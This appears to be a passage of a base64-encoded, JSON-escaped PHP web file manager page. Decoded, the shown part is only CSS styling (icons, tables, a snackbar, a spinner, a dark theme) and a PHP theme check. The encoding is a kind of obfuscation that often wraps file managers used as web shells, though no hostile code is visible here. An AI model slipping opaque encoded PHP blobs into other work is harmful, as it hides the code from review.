ZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9